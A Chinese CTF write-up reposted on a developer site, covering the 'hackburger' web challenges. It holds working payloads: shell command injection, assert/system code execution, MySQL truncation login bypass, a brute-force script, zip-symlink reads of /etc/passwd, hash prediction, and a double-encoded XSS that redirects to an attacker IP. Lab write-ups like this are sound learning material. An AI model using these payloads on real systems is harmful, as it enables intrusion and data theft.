hackburger

栏目: 数据库 · 发布时间: 6年前

内容简介:一共有10道题目,还有两道没做出来,后续做出来了再更新。题目的入口,A ping utility, to ping stuff, you know

一共有10道题目,还有两道没做出来,后续做出来了再更新。

题目的入口, https://hackburger.ee/challenge/

Warmup

A ping utility, to ping stuff, you know

命令执行漏洞,用分号执行两条命令。

127.0.0.1;ls 获取到flag位置。

127.0.0.1;cat flag.php 不行,尝试 127.0.0.1;tac flag.php 获取到flag。

Number to ASCII converter

A tool to convert numbers to ASCII characters

assert中可以直接执行命令。

?number=eval(system("cat%20where/is/the/flag/i/am/looking/for/flag.php")) 获取到flag。

That’s not how you write signup

A login form and a registration form. With some problems (but not SQL injection, SQLi is boring).

题目中给出了一个注册和登陆的界面,但又提示不是 sql 注入。在源码中得知需要admin登陆,猜测 mysql 长度截断漏洞。注册用户名 admin(空格)1111 即可登陆admin账号。getflag。

Enter password to get candy

A challenge where you put password and get candy (or a “bad password” message).

不知道是不是考的若比较,反正跑了一下字典{“password”:0}的时候就出flag了。

File search

Here you can search files

大致的逻辑是输入字符串,如果他在某个文件中的化就会输出文件的文件名。

import requests
import string

url = "http://burger.laboratorium.ee:8004/"
strt = string.digits+string.ascii_lowercase+'_-+'
flag = ''

def right(str_r):
	for i in strt:
		flag = str_r+i
		data = {'query':flag}
		s = requests.post(url = url,data = data)
		if('flag.txt' in s.text):
			str_r=flag
			print('right----',str_r)
			str_r = right(str_r)
			break
	return str_r

def left(str_l):
	for i in strt:
		flag = i+str_l
		data = {'query':flag}
		s = requests.post(url = url,data = data)
		if('flag.txt' in s.text):
			str_l=flag
			print('left----',str_l)
			str_l = left(str_l)
			break
	return str_l

right(left(flag))

Zip file browser

for browsing zip files

我们先上传一个zip包里面存入一个1.txt内容为it work,然后让服务器解压成功的读取到了其中的内容。

hackburger

尝试读取一个不存在的文件,服务器直接报错。

file_get_contents(/tmp/dir_hackme5_5270159094052007086260766287487917142363/2.txt): failed to open stream: No such file or directory in /home/hackme5/task/index.php on line 41

这样的化我们可以尝试一下文件遍历,但是过滤了 / 只要输入了/就会提示hax0r no!,一番尝试无果之后,看到了一个师傅写的关于这题的writeup: https://xz.aliyun.com/t/2589。

主要是利用的软连接上传,我们通过将软连接文件打包到zip中上传,然后读取其中的软连接文件。

首先 ln -s /etc/passwd 1.txt 生产我们的文件,然后zip -y 1.zip 1.test打包到我们zip文件夹中,上传即可。flag的化我们用之前报错出来的路径软连接读取index.php即可。

hackburger

Magic

The description left out intentionally.

用扫描器直接扫到robots.txt,index.php,.git,拼接起来即可。

We tried to clone pastebin

But we failed miserably

扫描器扫了一哈,发现源码在 index.php~ ,看了一下源码好像我们是可以通过日期生产文件的hash然后去访问文件的,而且存在3个可疑的文件是2017年生成的。

2017-07-23 19:15:11
2017-07-23 19:15:27
2017-07-23 19:15:44

我们生产一下所有的文件,然后用burp访问一下

<?php
$time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44','2018-08-21 16:39:03','2018-08-21 16:39:32','2018-08-21 16:40:00','2018-08-21 16:59:13','2018-08-21 16:59:50','2018-08-21 17:00:09','2018-08-21 17:00:25','2018-08-21 17:00:42','2018-08-21 17:01:07','2018-08-21 17:02:43','2018-08-21 17:03:15','2018-08-21 17:04:45','2018-08-21 20:45:00','2018-08-22 00:16:16','2018-08-22 00:18:17','2018-08-22 02:53:08','2018-08-22 02:53:33','2018-08-22 02:53:57','2018-08-22 02:54:41','2018-08-22 02:56:28','2018-08-22 02:57:17','2018-08-23 13:20:36','2018-08-23 13:22:16','2018-08-23 13:23:25','2018-08-23 13:23:59','2018-08-23 13:24:38','2018-08-23 18:29:28','2018-08-23 18:29:55','2018-08-23 18:29:59','2018-08-23 18:30:29','2018-08-24 01:41:31','2018-08-24 01:43:16','2018-08-24 01:43:23','2018-08-24 01:43:33','2018-08-24 01:45:13','2018-08-24 01:45:55','2018-08-24 01:47:32','2018-08-24 12:07:06','2018-08-24 12:08:22','2018-08-24 12:08:23','2018-08-24 12:08:24','2018-08-24 12:08:25','2018-08-24 12:08:26','2018-08-24 12:11:36','2018-08-26 17:18:45','2018-08-26 17:20:23','2018-08-26 17:25:15','2018-08-26 17:25:56','2018-08-27 12:27:12','2018-08-27 12:28:57','2018-08-27 12:32:18','2018-08-27 12:36:37','2018-08-27 12:39:07','2018-08-28 02:47:31','2018-08-28 02:57:08','2018-08-28 03:05:03','2018-08-28 03:05:23','2018-08-28 03:06:53'];
foreach ($time_data as $value) {
	$time = strtotime($value);
	$hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time));
	echo $hash.'</br>';
}

但是这3个2017的文件是404,感觉是不是时间纪录错了,又试了试修改后面的秒无果。对小时进行了尝试的得到flag。

<?php
$time_data = ['2017-07-23 19:15:11','2017-07-23 19:15:27','2017-07-23 19:15:44'];
foreach ($time_data as $value) {
	$time = strtotime($value);
	for($n=0;$n<25;$n++) {
		$time-=3600;
		$hash = md5($time . $time . "6548b41279a6a0ecf4d210fdd078a19b63ed08e0" . sha1($time));
		echo $hash.'</br>';
	}
}

Comment box

I know you want to comment things, so I added a challenge with a comment box.

这题没做出来,但是还是纪录一哈。

题目就给了一个输入,随便提交之后会提示会有人审核,猜测是xss题。

手动测试了一下发现过滤了:

script,on,object,',",src=,base64,video,expression

过滤的 src= 可以用 src = 来绕过,就想到了用标签和data协议来触发xss。

<script>document.location='http://ip'</script>转hex
<embed src = data:text/html,%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%69%70%27%3c%2f%73%63%72%69%70%74%3e>
可以在本地触发,但是我们提交这个payload会提示被过滤了猜测服务器将我们的输入urldecode了一次,所以我们在encode一次。
<embed src = data:text/html,%253c%2573%2563%2572%2569%2570%2574%253e%2564%256f%2563%2575%256d%2565%256e%2574%252e%256c%256f%2563%2561%2574%2569%256f%256e%253d%2527%2568%2574%2574%2570%253a%252f%252f%2569%2570%2527%253c%252f%2573%2563%2572%2569%2570%2574%253e>
可以在题目中触发,可以在vps上收到信息。

但是在data协议中无法操作cookie,而且有一些操作在他的服务器,我不知道是不是data协议的问题我也收不到消息,下次想到什么好的payload再补这题把。


以上所述就是小编给大家介绍的《hackburger》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

APP蓝图

APP蓝图

吕皓月 / 清华大学出版社 / 2015-1-1 / 69.00

移动互联网原型设计,简单来说,就是使用建模软件制作基于手机或者平板电脑的App,HTML 5网站的高保真原型。在7.0 之前的版本中,使用Axure RP进行移动互联网的建模也是可以的。比如,对于桌面的网站模型,制作一个1024像素宽度的页面就可以了;现在针对移动设备,制作320像素宽度的页面就好了。但是在新版本的Axure RP 7.0 中,加入了大量对于移动互联网的支持,如手指滑动,拖动,横屏......一起来看看 《APP蓝图》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具